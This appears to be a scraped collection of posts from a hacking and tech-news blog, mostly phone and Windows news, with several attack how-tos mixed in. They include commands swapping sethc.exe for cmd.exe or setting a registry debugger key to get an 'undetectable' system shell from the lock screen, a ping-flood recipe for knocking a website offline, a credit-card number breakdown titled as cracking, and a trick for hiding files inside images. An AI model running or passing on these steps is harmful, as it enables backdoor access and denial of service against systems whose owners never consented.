Cracking credit card codes - CCCC

4417 1234 5678 9113
4 - the first digit is the Major Industry Identifier.It designates the category of the entity which issued the card.
1 and 2 are airlines
3 is Travel and Entertainment
4 and 5 are Banking and Financial
6 is Merchandizing and Banking
7 is Petroleum
8 is Telecommunications
9 is National assignment

The first 6 digits are the Issuer Identification Number. It will indentify the institution that issued the card.
Visa: 4xxxxx
Mastercard: 51xxxx - 55xxxx
Discover:6011xx, 644xxx, 65xxxx
Amex: 34xxxx, 37xxxx

Cards can be looked up by their IIN.
A card that starts with 376211 is a Singapore Airlines Krisflyer
American Express Gold Card.
529962 designates a pre-paid Much-Music MasterCard.

The 7th and following digits, excluding the final digit, are the person`s account number. This leaves a trillion possible combinations if the maximum of 12 digits is used. Many cards only use 9 digits.

3 The final digit is the check digit or checksum. It is used to validate the credit card number using the Luhn algorithm

How to validate a credit card :

Take the above number (or any credit card number)
4417 1234 5678 9113 (And double every other digit from the right)
*2 *2 *2 *2 *2 *2 *2 *2
----------------------------
8 2 2 6 10 14 18 2
Add these new digits to undoubled ones

4 7 2 4 6 8 1 3
All double digit numbers are added as a sum of their digits,so 14 becomes 1 + 4

8+4+2+7 + 2+2+6+4 + 1+0+6+1+4+8 + 1+8+1+2+3
=70
If the final sum is divisible by 10,then the credit card number is valid.
If it`s not divisible by 10,the number is invalid or fake.Try it and see.

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Microsoft Photosynth for Windows Phone

We were just mentioning how Microsoft was teasing Photosynth for Windows Phone and sure enough, the popular and creative photo stitching app is now available! "Photosynth for Windows Phone is the panorama app that makes it easy and fun to capture and share interactive panoramas of the places, people, and events that are important to you. Using the latest in computer vision techniques, Photosynth is the acknowledged leader in mobile panorama creation. It is the only app available on any mobile platform that allows you to capture 360 degrees horizontally and vertically, making a perfect “sphere."

Once you’ve created a Photosynth, you can share it as an interactive panorama experience on Facebook and Twitter (using the free Photosynth.net service) or as a simple image. You can also publish your panoramas to Bing where millions of people will see your panoramas, on Bing Maps and in Bing search results for the places you've captured. And check out our featured list, where we show off the best of what you and your fellow users create and share." The app seems very fluid on our Focus 2 and we'll be sure to share some test shots as soon. But for now, go forth and enjoy the latest creation from Microsoft, we're sure you'll be impressed. Leave comments on your thoughts below. Update: We should note that Windows Phones without a compass or gyroscope (e.g. the HTC Radar) can still use the app but it won't work as fluidly. You'll receive a message informing you as much but you can still download and use the app. Update 2: Photosynth won't run on Tango hardware like the Lumia 610 as it needs at least 512MB of RAM for processing.

Download it now:

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Trick that allows apps to run while computer is locked

You can have a system shell on an application you have administrative access on or if you have physical access to the box and can boot to repair disk or linux distro to change files.

1. Make a backup of the original sethc.exe
copy c:\windows\system32\sethc.exe c:\


2. Copy cmd.exe into sethc.exe's place
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

3. Restart & hit Shift key 5 times, cmd.exe will pop up!

There's also another way of doing this just before you log-out the last time from this machine. Start an elevated cmd and type:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

After reboot, it should be fine hitting 5 times Shift key to gain access :)
The exploit is currently unpatched, and seems to work in both Windows 7, Windows 8 & Windows Server 2008 R2. Plus, if the code is installed, it's possible to perform it through remote desktop. The hack is undetectable when using the registry key. Essentially, the above code sets the debugger for Sticky Keys to the exe file for the command line applet, which is run at the system level when the machine is locked!

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Nokia Lumia 900 32GB confirmed by O2

Well colour us all surprised. O2 Germany has confirmed, via Twitter, that the 32GB Lumia 900 is actually what's on offer and is not a typo on the website as we first presumed. The Windows Phone in question isn't just any old Lumia 900 either, it's the glossy white version, which has been listed on the carriers website as "coming soon".

There's still no word on pricing or availability just yet, and it'll be interesting to see if this 32GB variant makes its way elsewhere, especially with some owners demanding more storage.

Twitter user XB-Mod tweeted a photo of an O2 product listing documentation detailing the same specification. Looks as though Germany will either get to play around with a Lumia 900 with larger storage capacity exclusive to O2, or wake up tomorrow to an apology from the carrier for an error that has escalated to both the website and pressers.

Amazon.de also lists the Lumia 900 16GB with an availability date of May 31st, at a price of EUR 575,00.

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Performing a DoS attack - personal use only

What exactly is a Denial of Service Attack? It's an attempt to make a machine or network resource unavailable to its intended users. Like a flood, when the DoS Attacker sends many packets of information and requests to a single network adapter, each computer in the network would experience effects from the DoS attack. In this post, you will learn to perform a DoS (not a DDoS) attack ONLY FOR PERSONAL USE.

Let's say we have a website with low bandwidth/connection.

Step 1: Fire up command prompt, ping the website & find it's IP.

ex. ping google.com will give you "Pinging google.com [xxx.xxx.xxx.xxx] <- That's the IP

Step 2: Ping the IP followed by two options as follows:

ex. ping xxx.xxx.xxx.xxx -t -l 65500

Step 3: Wait for a couple of hours & check the website :)

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Bind a file into an image

This is a really good way to hide some of your data :)
Prepare...

1. Choose a file you wish to bind into the image, place both of them in a folder.
2. Add the files into a rar archive.
3. Fire up CLI & navigate to the folder where you keep those files together.
4. Type: copy /b NAMEOFPICTURE.jpg + NAMEOFARCHIVE.rar

You have a picture that's hiding a file in it, to extract simply open with WinRAR.

Have fun!

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Auto-delete temporary folder

We all know what's the temporary files folder...., junk after use.

Some programs create temporary files and then leave them behind - they do not delete them. This can happen because the program crashed or the developer of the program simply forgot to add the code needed to delete the temporary files after the program is done with them (disk leak). In Microsoft Windows the temporary files left behind by the programs accumulate over time and can take up a lot of disk space. System utilities, called temporary file cleaners or disk cleaners, can be used to address this issue. Personal workstations with UNIX-based operating systems do not suffer from the same problem because their temporary files are wiped at boot. Servers, however, are affected because they are rarely rebooted. Anyone ever wondered if there was an automated task to prevent wasting time ? ;)

Windows XP Pro:
Head to Start & Run > gpedit.msc (Group policy editor)
Then follow:
Computer Configuration > Administrative Templates > Windows Components > Terminal Services > Temporary Folder
Finally, right click Do not delete temp folder upon exit & set to Disable.

Windows 7 Ultimate:

Head to Start & Run > gpedit.msc (Group policy editor)
Then follow:
Computer Configuration > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Temporary Folders
Finally, right click Do not delete temp folder upon exit & set to Disable.


Cheers.

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FBI is now officially spying on YOU!

We all knew that the FBI probably was monitoring the web activite of random citizens for quite some time now but today as Cnet reports the law enforcement bureau has formed a dedicated unit for the purpose of internet surveillance.
According to Declan McCullough, the National Domestic Communications Assistance Center has a mandate to try and crack skype conversations, analyze internet traffic data, and build wiretapping hardware.

But its not for investigations of its own; the goal is to develop new technologies to help make it easier for other law enforcement agencies to spy on us. Here's what the FBI had to say to Cnet:

"It is important to point out that the NDCAC will not be responsible for the actual execution of any electronic surveillance court orders and will not have any direct operational or investigative role in investigations.

It will provide the technical knowledge and referrals in response to law enforcement's requests for technical assistance." Little yet is known for the matter but the thought that online privacy is a little more than a myth is a scary idea.

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Understanding the difference between hackers

White Hat

A hacker can be a wiz-kid who spends too much time with computers and suddenly finds himself submerged in the world of cyber-security or criminal conspirators. On the other hand, he can be a master criminal who wants to obtain huge amounts of money for him, or even worse, dominate the world. In the movie Matrix, the concept of hackers changed a bit. Although the agents of the Matrix considered them terrorists, the truth is that they were rebels fighting for the liberty of humanity. Things do not need to reach that extreme, though. We are not at war with intelligent ma chines so that kind of scenario is a bit dramatic. Therefore, a hacker is an individual who is capable of modifying computer hardware, or software. They made their appearance before the advent of computers, when determined individuals were fascinated with the possibility of modifying machines. For example, entering a determine code in a telephone in order to make free international calls.

Grey Hat

A grey hat hacker is someone who is in between these two concepts. He may use his skills for legal or illegal acts, but not for personal gains. Grey hackers use their skills in order to prove themselves that they can accomplish a determined feat, but never do it in order to make money out of it. The moment they cross that boundary, they become black hackers. For example, they may hack the computer network of a public agency, let us say, NOAA. That is a federal crime. If the authorities capture them, they will feel the long arm of justice. However, if they only get inside, and post, let us say, their handle, and get out without causing any kind of damage, then they can be considered grey hackers. If you want to know more about hackers, then you can attend one of their annual conventions. Every year, hackers from all over the US, and from different parts of the world, reunite and meet at DEF CON. These conventions are much concurred. In the last one, 6,600 people attended it.

Black Hat

Black hat hackers have become the iconic image of all hackers around the world. For the majority of computer users, the word hacker has become a synonym for social misfits and criminals.
Of course, that is an injustice created by our own interpretation of the mass media, so it is important for us to learn what a hacker is and what a black hacker does. So, let's learn about black hat techniques and how they make our lives a little more difficult. Black hat is used to describe a hacker who breaks into a computer system or network with malicious intent. Unlike a white hat hacker, the black hat hacker takes advantage of the break-in, perhaps destroying files or stealing data for some future purpose. The black hat hacker may also make the exploit known to other hackers and/or the public without notifying the victim. This gives others the opportunity to exploit the vulnerability before the organization is able to secure it. A black hat hacker, also known as a cracker or a dark side hacker is someone who uses his skills with a criminal intent. Some examples are: cracking bank accounts in order to make transfernces to their own accounts, stealing information to be sold in the black market, or attacking the computer network of an organization for money.

What type of hacker are you?

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Virus type identification

A potentially damaging computer program capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.

Virus
A program that when run, has the ability to self-replicate by infecting other programs and files on your computer. These programs can have many effects ranging from wiping your hard drive, displaying a joke in a small box, or doing nothing at all except to replicate itself. These types of infections tend to be localized to your computer and not have the ability to spread to another computer on their own. The word virus has incorrectly become a general term that encompasses trojans, worms, and viruses.

There are many different types of viruses..., as follows:

1. Boot Sector Virus
   Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.


2. File or Program Viruses
   Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .Some common file viruses are Sunday, Cascade.


3. Multipartite Viruses
   A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector. This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated. Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.Other examples are Invader, Flip, etc.


4. Stealth Viruses
   These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.


5. Polymorphic Viruses
   Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.


6. Macro Viruses
   A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

If you use a computer, read the newspaper, or watch the news, you will know about computer viruses or other malware. These are those malicious programs that once they infect your machine will start causing havoc on your computer. What many people do not know is that there are many different types of infections that are categorized in the general category of Malware.



Malware - Malware is programming or files that are developed for the purpose of doing harm. Thus, malware includes computer viruses, worms, Trojan horses, spyware, hijackers, and certain type of adware.

Let me explain:

Backdoor
A program that allows a remote user to execute commands and tasks on your computer without your permission. These types of programs are typically used to launch attacks on other computers, distribute copyrighted software or media, or hack other computers.

Spyware
A program that monitors your activity or information on your computer and sends that information to a remote computer without your Knowledge.

Adware
A program that generates popups on your computer or displays advertisements.

Dialler
A program that typically dials a premium rate number that has per minute charges over and above the typical call charge. These calls are with the intent of gaining access to pornographic material.

Trojan
A program that has been designed to appear innocent but has been intentionally designed to cause some malicious activity or to provide a backdoor to your system.

Worm
A program that when run, has the ability to spread to other computers on its own using either mass-mailing techniques to email addresses found on your computer or by using the Internet to infect a remote computer using known security holes.

Thanks for reading.

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Absinthe 2.0 - iPhone untethered jailbreak

News of an untethered jailbreak for Apple's iPhone OS 5.1.1 has been circulating for at least several days, but this morning iOS hackers managed to release the fruits of their labor: Greenpois0n's Absinthe 2.0. If you're curious, the press release (yes, a press release) can be found here. The untethered jailbreak tool works on virtually all iPhones and nearly all iPads, including the iPhone 4S, iPad 2 and the iPad 3. The tool does require that the device already have 5.1.1 loaded, so make sure your iOS device is up to date before beginning.

Firstly, it almost works for all iOS devices -- almost. Over the past few days, support for newer devices has been continually added and tested. Although the list of supported devices is indeed extensive, Greenpois0n's website explicitly warns users that Absinthe 2.0 will not work for AppleTV 3. Other sources are also reporting that Absinthe has one more problem area: the newly updated iPad 2. Also known as "iPad 2,4", the tablet is a rehashed version of the iPad 2 with a lower price and a new 32nm processor.

Secondly, the target device must be running 5.1.1. Absinthe 2.0 works on this version exclusively so if you're running an older version of iOS, you'll need to update first.

For those of you already running iOS 5.1.1 with a tethered jailbreak, you can snip the cord by checking out Rocky Racoon 5.1.1 Untether tool at CydiaHelp. Absinthe 2.0 is currently available for a variety of platforms, including Mac OS X (Leopard and up), Windows (XP or newer) and Linux.

You can download it here:
http://greenpois0n.com/

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June 1: Windows 8 RC

Windows 8 RC will be available on June 1, according to some posts in the net. This latest morsel of information helps confirm earlier rumors that a preview version would be available during the first week of June. Although the future is uncertain, Windows 8 officially will launch near october.

Also, Windows 8 will be delivered with Adobe Flash pre-installed. This is an interesting departure from Microsoft's past practices, but one can't help but think they're a little late to the party -- Flash has been around since 1998.

Interestingly, for better or worse, Apple had already been bundling Flash with Mac OS for many years. The company stopped with Lion though, possibly due in part to concerns of security and Steve Jobs' apparent disdain for Flash (rofl). Will having Adobe Flash pre-installed also make Windows 8 inherently less secure? 

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Automated computer security software - Stay protected

Security scanners, tools, safety guidelines, software, discussions, antiviruses, firewalls, antispyware... everything to get protection but....Nothing to stay updated. Do you own the latest version of every app you have currently installed? No? Why not? It's because it's not free ? Then don't get mad if you become a victim for a hacker. Except for 0days of course.... :)

Update your antivirus or choose a better antivirus, update every single software you use, stop clicking at spam mails. I`ll give you an application to play with... it will save you from doing all that stuff alone:
A free computer security solution which, by updating insecure programs, helps safeguard the data on your PC against cybercriminals. Simply it is a computer scanner which identifies programs that are old and, if left without updates, pose a threat to your security. It then supplies your computer with the necessary software updates to keep it safe.
The Secunia Personal Software Inspector (PSI) even automates the updating of many of these insecure programs, making it a lot easier for you to maintain a secure PC.

Download here & stay protected.

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HP fires 9% of the Company

Hewlett-Packard - HPQ is considering cutting 27,000 jobs, or 8 percent of its workforce, to reduce costs and help the company contend with ebbing demand for computers and services.
CEO Meg Whitman, is seeking to reverse the growth slump that led to the ouster of her predecessor, Leo Apotheker. The company’s PC sales are dropping as consumers favor tablets, such as Apple Inc.’s iPad, and it has been slow to adapt to the shift toward cloud computing, away from the IT services Hewlett-Packard provides...

This “would enable investments in strategic, higher growth areas.” Eliminating 18,000 jobs could result in savings of about $1.2 billion and add 50 cents to annual per-share earnings, he estimated. Michael Thacker, a spokesman for Palo Alto, California- based Hewlett-Packard, declined to comment. Shares of Hewlett-Packard rose to as high as $22.27 after Bloomberg reported the changes, and gained 3 cents to $22.06 the close in New York. The stock has dropped 14 percent this year.

"HP expects to reinvest savings in each of its business segments to strengthen their ability to stay ahead of customer expectations and capitalize on growing market trends. HP will invest in research and development to drive innovation and differentiation across its core printing and personal systems businesses, as well as emerging areas. It will also invest in marketing, sales productivity and tools that simplify the customer experience and make it easier to do business with HP. Services will invest in accelerating service capabilities in the high client value areas of cloud, security and information analytics by enhancing HP intellectual property. Services will also strengthen its industry orientation and continue to differentiate its service offerings through quality and innovation delivered to clients. Combined, these activities are expected to shift the portfolio to a more profitable mix of higher-growth services. Additional work in lean process methodologies is expected to better serve clients and increase overall efficiencies. Software will invest to speed development in the areas of security, big data and the management of application lifecycle and infrastructure solutions, both on premise and in the cloud. It will also further leverage the capabilities of Autonomy and Vertica across the entire HP portfolio. Enterprise Servers, Storage and Networking will invest to accelerate its research and development activities to extend its leading portfolio of servers, storage and networking. Together these assets create a Converged Infrastructure which is the foundation for top client initiatives such as cloud, virtualization, big data analytics, legacy modernization and social media. As a result of this restructuring, HP expects to record a pre-tax charge of approximately $1.7 billion in fiscal 2012 that will be included in its GAAP financial results for that period. Through fiscal 2014, HP expects to record additional pre-tax charges approximating $1.8 billion that will be included in its GAAP financial results for the appropriate periods."

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Delay while working with shared folders

Troubleshooting will help you a lot, not.
Many shares between server & client infrastructure - WindowsXP machines , who would update to seven in these days?

Sudden delay while trying to access a file share or network share.
What will everyone do? Start searching every single machine for any kind of misplaced cables, maybe a switch or a router..., or even server settings!

But, will you start thinking that it's client's fault? A forgotten service from the very first start of the machine? of the client? It's 'webclient', this pesky service sometimes starts acting weird so it makes network shares hang or slows them a lot.

And the command?

sc config webclient start= disabled

By hitting that command in the cli, you will notice the difference between a hangy network share - getting a lot better.

Next time this will save you from hours troubleshooting.

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Cheap flash memory: A scam?

Flash memory in this day and age is essential for mobile data storage. With the price competitiveness of the flash memory market and their applications in a wide range of mobile storage consumer electronics, many sellers resort to faked memory capacities to earn extra profit. From the China manufacturing segment alone, a big percentage of exported flash memory products (USB drives and memory cards) have capacities that are set higher than the actual available storage in the flash memory.



This causes many problems with the storage of data and can and will lead to data loss. Regardless of where the flash memory product was purchased from, it is essential for users to test the flash memory so that the user is fully aware of its condition. The last thing anyone wants is their precious data lost because of a flash memory failure!



By far the most widely used testing program for Nand flash is the H2testw.exe burn in program, written by Harald Bogenholz for c’t Magazin (Magazin für Computertechnik), a German computer magazine. A quick Google search will yield many results from reputable sources regarding the H2 burn in program, so please rest assured that H2 is the real deal freeware for flash memory testing.

Insert the flash memory device that will be tested and open the H2 program. Once the device has been recognized, in the H2 program interface using the Select Target button, choose the corresponding drive letter. Once selected, leave Data volume: all available space selected and endless verify unselected. Basically leave “as is”. Click the Write + Verify button to begin the testing. H2 will burn-in the full capacity of data into the flash memory device, and then verify the burned-in data. If there are errors, chances are the flash is faulty or has been upgraded to a fake capacity. If the device passes H2, then congratulations, the flash memory is of good quality and should provide years of trouble free service less any unpredictable hardware/component failures.

In all cases that the H2 program finds errors in the flash memory, the data storage of the device can be deemed unreliable and users must proceed with extreme caution if continuing to use said flash memory device.

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Backup solutions

Backups are often neglected; do you backup your computer or server, if so, how often? At any moment a computer or server may crash unpredictably and put your critical data at risk. Are you confident that you will be able to do a full restoration with minimal downtime? Have you done a full backup test restoration including the hard drive images? 

How much information do you have stored on your Server’s hard drives? Are you hosting your own email or website? Are you running any SQL databases? These are all very critical and require a good backup strategy to be enforced and able to recover from a disaster in an efficient and effective way. You must be prepared for any calamities such as fire, earthquakes and floods. Do you have any backup plans in the event of a natural disaster? Backups are a very important factor to consider. The risk of losing data is often unnecessary and could be avoided by implementing a simple and sometimes cost-effective backup solution.

Steps:

1. If you have a Domain Network, having additional Domain Controllers(DCs) is something that has to be implemented so that there will be limited network downtime just in case a disaster happens. Active Directory Users and Computers will replicate to your additional DC(s) and improve the dependability and availability of your network resources if the main DC is not up and running due to a crash or failure.
2. Storing huge amount of files and data on your network can be very risky if you don’t have a well planned and tested backup system. Local backups can be done if you have enormous or terabytes of files stored in your file server(s). Losing these files could cause you a major problem that you may not be able to bounce back from. If your company has a limited IT budget then you can purchase some affordable external USB hard drives to do a local on-site backup. These can be taken off site by a member of staff. Another affordable option would be to purchase a (Network Attached Storage) NAS Device and use a third party’s backup software like Acronis or Symantec to do a full backup image of your Servers hard drives.
3. Do you have Redundant Array of Inexpensive Disks (RAID) configured in any of your Servers? If your Employer can afford it and has a budget for a RAID 10 (also known as RAID 1 + 0) system, it requires a minimum of 4 hard drives, I highly recommend this. A server with RAID 10 is amongst the most popular RAID solutions and provides a very high fault tolerance in case of hard drive failure. RAID 10 is very pricey but it is the best RAID option for any perilous applications especially databases. If you have a limited IT budget, then investing in a RAID 1 (Mirrored) solution is also acceptable. This will allow for one of your drives to fail without causing major downtime. Keep at least one spare hard drive for your RAID on site in case of a drive failure. Newer technology servers have hot swappable drives, so expect limited downtime and rest assured that your data will be safe and intact. Some Users won’t even know if the network was down.
4. Backup as often as you want – There is no such thing as backing up too much! Having a redundancy backup is a must have. A very common backup strategy is to make daily incremental, differential, and weekly full backups. Another question you may want to ask is: If my first backup solution fails, what will I do then? Having multiple backups to restore from is a must. Placing all of your eggs in one basket can be risky. If you are going to use Tapes or External Hard Disks to back up your data it is recommended that you have a daily or weekly rotation between drives. If you have five External Hard Drives on a daily rotation then even if your most recent backup is not restorable you can fall back onto the day before – Losing 24-hours worth of data is far better than losing it forever!
5. Do not backup to a different partition on the same physical disk. You should be aware that if the disk fails then the entire disk will be corrupted and your backup will be useless! You may lose everything.
6. The types of restore you can do with a backup are important factors to consider. How long will it take you to restore an entire hard drive? Can you restore your server onto other hardware? Do you have any hard drives in stock in the event your drives fail?
7. A Cloud backup solution can be costly, but if your company can afford it, it’s a great backup solution to consider. Hosted cloud also known as online backup is very popular nowadays. If you are going to use a hosted backup solution find out the level of encryption that they support and remember to write down the restoration procedure; in the event of a problem you will want to access the backups quickly. Cloud backup is safe and a secured way of backing up data on remote data storage, also accessible from anywhere. The only downside is that it requires a higher bandwidth.
8. It is a very good idea to keep your servers in a fire/flood proof location like a Vault, if your Employer can afford this type of Storage.Backup only important documents – you would be surprised how many gigabytes worth of Media files such as pictures, music and videos that some employees will store in their roaming profiles and local hard drives. Some are for business use but mostly are for personal use. It is worth reviewing what you are backing up at least once a month.

Make sure to backup once in a while. Hardware failures cost a life.

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Windows 8 super fast boot, a real problem

A real problem. What if you`d like to go into safe mode for example?
Have you imagined how you could do it? Pressing the power button would get you straight to your OS, there's no time for tapping buttons. There won't be time to interrupt a boot screen, from the other side....Who wouldn't like great boot speeds?

Take some time to watch the video below:

In this video you can see a laptop with a SSD booting super fast. Booting this fast doesn't require special hardware, but it is a feature of a new 'BIOS' called UEFI. You'll still see much improved boot times in existing hardware, but in many PCs, the BIOS itself is so slow...

From what you've seen, there's no time to press any key, seriously, but...

Microsoft has developed another feature for this problem. For every UEFI-enabled motherboard, you are able to change this operation by the settings of your OS as shown in the picture below:

A menu for every single boot option...

The good news is that Microsoft offers many ways to easily get to the boot menu options for when it is needed. For the most part, the average consumer will never need these features and the fast boot of Windows 8 will be a welcomed upgrade from Windows 7. But for those of us who need to get under the hood occasionally, Microsoft has you covered.

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Anonymous hater credited for Pirate Bay and Wikileaks DDoS

WikiLeaks and Swedish BitTorrent file-sharing site Pirate Bay were reportedly battling Distributed Denial-of-Service (DDoS) attacks for several days earlier this week. The user, who goes by the Twitter handle @AnonNyre, has been riling up members of the hacktivist group and supporters of TPB with a series of angry posts on Twitter, to the extent that Anonymous supporters are now demanding to get in contact with him over the social network.

WikiLeaks tweeted status of its Web site a short while ago: "WikiLeaks has been under sustained DDOS attacks over the last 72h. http://www.wikileaks.org is good, http://wikileaks.org is flooded". "We're mirroring the #WikiLeaks website, in case you can't reach it. http://wl.wikileaks-press.org," reads the final.

AnonNyre also later posted on Pastebin, claiming that he works for the FBI and wants to take TPB website down  for a week because it is "a press-release website for Anonymous".

UK ISP Virgin Media suffered a DDoS attack on 9 May, a week after complying with a high court order to block users' access to the file-sharing website. The Pirate Bay condemned the action "We do NOT encourage these actions. We believe in the open and free internet, where anyone can express their views. Even if we strongly disagree with them and even if they hate us. So don't fight them using ugly methods. DDoS and blocks are both forms of censorship."

The five ISPs forced by U.K.’s High Court to impose a block on its customers accessing The Pirate Bay have less two weeks to comply with the order, or face charges of being in contempt of court.The block must be imposed within 30 days from the time the court issued its ruling, according to sources.

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New WindowsPhone Freeman's wallpapers

Everyone wants a different design, especially for a lovely cellphone.... I found some wallpapers that should do the trick for you.

Levi Freeman's wallpapers:

Use your phone (search > tap the eye for Bing Vision > point and tap the link that appears, then save to phone phone and set as wallpaper) to scan the tags. I find them very beautiful.

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Advanced browser history search tool

This software is an advanced local browser history search engine.
In less than few seconds it will extract the chosen keywords of most famous web browsers including: Internet Explorer, Google Chrome, Mozilla FireFox, RockMelt, Comodo Dragon and Opera.

The program will attempt to find the keyword(s) in the history title and search, if the keyword is present or suspected to be, it will be display in the result list with it's URL and Title.
The software also gives you the possibility to edit the default keywords and of course add / modify your own keywords.



Fully asynchronous - it won't affect your work during the scan time nor will block the customization of keywords and keylist - can be cancelled anytime.

Download here & have fun searching :)

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Windows Phone beats iPhone in China

Windows Phone 7 may be struggling worlwide, but it's overtaken the iPhone in China after only two months, according to a Microsoft official. Do the Chinese know something that the rest of the world doesn't?

The online Dutch magazine Emerce quotes Michel van der Bel, Microsoft chief operating office the Greater China region as saying that Windows Phone now has a market share of 7 percent, even though it was launched in China only two months ago. Van der Bel claims that the iPhone market share is 6 percent. (Note: All information and quotes for this blog post are based on the Google Translate version of the article.)

The iPhone has certainly had its problems in China. Several months ago, Reuters reported that iPhone market share had slipped to 7.5 percent in October through December, 2011, from 10.4 percent in July through September, 2011. If van der Bel's numbers are accurate, they've slipped again since then.

Van der Bel expects Windows Phone market share to grow, saying, "We've only just begun." Then he goes on to say something rather curious. He is pinning the growth on:

"Our smartphone and PC-tablet hybrid, which is suitable for the consumer, but also easy to insert in an existing business infrastructure. This allows us better than most competitors respond to the consumerization of IT."

Perhaps I've missed something, but I don't recall there being a Windows Phone-tablet hybrid. Has something been lost in the translation?

He's likely referring to the expected Windows Phone 8 phone-tablet hybrid that Nokia is believed to be working on.

Windows Phone success in China may be due to Nokia's strong presence in the country, although Nokia's one-time domination has slipped. In the first quarter of 2011, Nokia had more than 40 percent market share of the Chinese market; by the fourth quarter, that had slipped to 24.3 percent, according to Reuters.

Still, that's a sizable market share. Using that presence to boost Windows Phone in China may be one example of the Microsoft-Nokia partnership paying off for Microsoft. Elsewhere for Windows Phone, the news tends to be all bad. But in China, at least, the operating system seems to be gaining traction......

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Windows 8 Release Preview is now ready

The next public version of Windows 8 is reportedly completed, about two weeks ahead of its planned launch to the world. Winunleaked.tk claims that Microsoft has finished work on the Windows 8 Release Preview (otherwise known as the release candidate) which will have the version number of 8400.

The post on the Winunleaked.tk forums (free registration required) supposedly has an image of the Start screen from the 8400 Release Preview build of Windows 8. The post also claims that the SKUs that will be launched for the Release Preview include Windows 8 (Core),
Windows 8 Release Preview (Pro), Windows 8 Release Preview with Media Center (ProWMC) and Windows 8 Enterprise (VL).

Microsoft has already announced that the Windows 8 Release Preview will be launched sometime in the first week of June. The company has yet to give a specific launch date. Two big tech oriented trade shows are happening that particular week; Computex in Taipei and E3 in Los Angeles. Microsoft could announce the official launch of the Release Preview at either one or both events.

Another leaked list of Windows 8 version numbers by Winunleaked.tk claims that Microsoft is already working on the final manufacturing version of Windows 8, with the version number of 8411.

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Anonymous Hackers attack Indian government - file-sharing ban

Anonymous Hackers has turned its attention to India, taking down the web sites of the Supreme Court, the country’s two major political parties and several government sites in retaliation for a court injunction which led to the blocking of several video sharing and bit torrent sites.

Anonymous tweeted saying that it was now India’s time to bring in a new government.“Namaste #India, your time has come to trash the current government and install a new one. Good luck. | #SaveTPB #Anonymous #Censorship”.

The hacking was reportedly in response to the blocking of torrent site thepiratebay.com and vimeo.com.While the Supreme Court of India website came back online after a little while, the Congress website was still offline at the time of filing of this report.The Department of Telecommunications (DoT) website had also reportedly come under attack.

The group first signalled its intent to launch #OpIndia in a YouTube message posted over a week ago, which said the following:

We have come to the conclusion that the Indian government has failed. It is time that we all rise and stand against the corrupt government. The Department of Telecommunications has ordered Internet Service Providers to block file-sharing sites in India. We cannot let this happen.

In late March, Chennai-based Copyrightlabs won a restraining order that made Indian ISPs and phone firms stop their customers reaching sites that were illegally sharing copies of Bollywood films called 3 and Dhammu.

Some people can still access Vimeo and The Pirate Bay. It seems that the sites were initially blocked by Reliance, followed by Airtel. The users who faced the blocking got a message saying that this was due to a DOT regulation, but later the message said that it was because of a court order.

The UN is expected to discuss the proposal in the next 72 hours. The proposal would end "equal say" process for internet governance and push the civil society to the fringes.The proposed Committee for Internet Related Polices (CIRP) would be 50-member body funded by the UN. It would meet once a year and would have the power to oversee all internet standards bodies.

To knock out the sites, Anonymous bombarded them with data, a tactic known as a Distributed Denial of Service (DDoS) attack.The tactic had only partial success as most of the sites targeted soon recovered and were only offline intermittently.

Anonymous Tweet: "We are not doing any permanent damage to the websites. We just want file sharing sites to be unblocked."

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Nokia Lumia - Crash test

If there was any doubt how well built the Nokia Lumia is, the above video should help anyone's concerns over the quality of the phone. The unibody design coupled with Corning's Gorilla Glass make the Lumia a very solid Windows Phone. While the Lumia clearly survives crash test in the video, we won't encourage you to do the same. Post below if your Lumia has survived any near death experiences.

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Say Good Bye to Aero: Latest Windows 8 build reveals minimalisticdesktop UI

It's safe to say that many of us have high anticipation for the upcoming Windows 8 Release Preview,which will be available as soon as the first week of June. While though we are on hold Windows management are releasing sneak peaks inside their work such as the changes in the desktop UI.

As you might remember from the Consumer Preview, window borders and widgets featured a simplified and subdued look in comparison to the glass-like materials of Aero, which Microsoft now calls "dated and cheesy."

With the latest refresh, however, the company has pushed its modernistic philosophy even further to reveal a spartan (yet functional) interface that draws less attention to the chrome elements and allows the user to focus more on content.
Microsoft's latest reveal was made as part of a larger, retrospective look at its development of Windows and the evolution of the operating system.
At every step, the company states that its emphasis has been on the overall "learnability" of the environment.
As such, Microsoft claims that it's making great strides to ensure that consumers may quickly get up to speed with the latest OS, and hints that it has a number of reveals yet to be seen.
In its very next breath, however, it also emphasized people's ability to adapt and move forward, which suggests the number of changes might not be as concilatory as some might've hoped.
Regardless, we'll know for sure what Microsoft has in store in just a few weeks.

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Anonymous’ Massive Data Leaks Are Being Erased Off the Internet

After every online strike by Anonymous and LulzSec—back when they did that sort of thing—it was inevitable that the leaked goods would wind up on Pastebin, the web's vandalized bathroom stall. Now, the company wants out of the game.

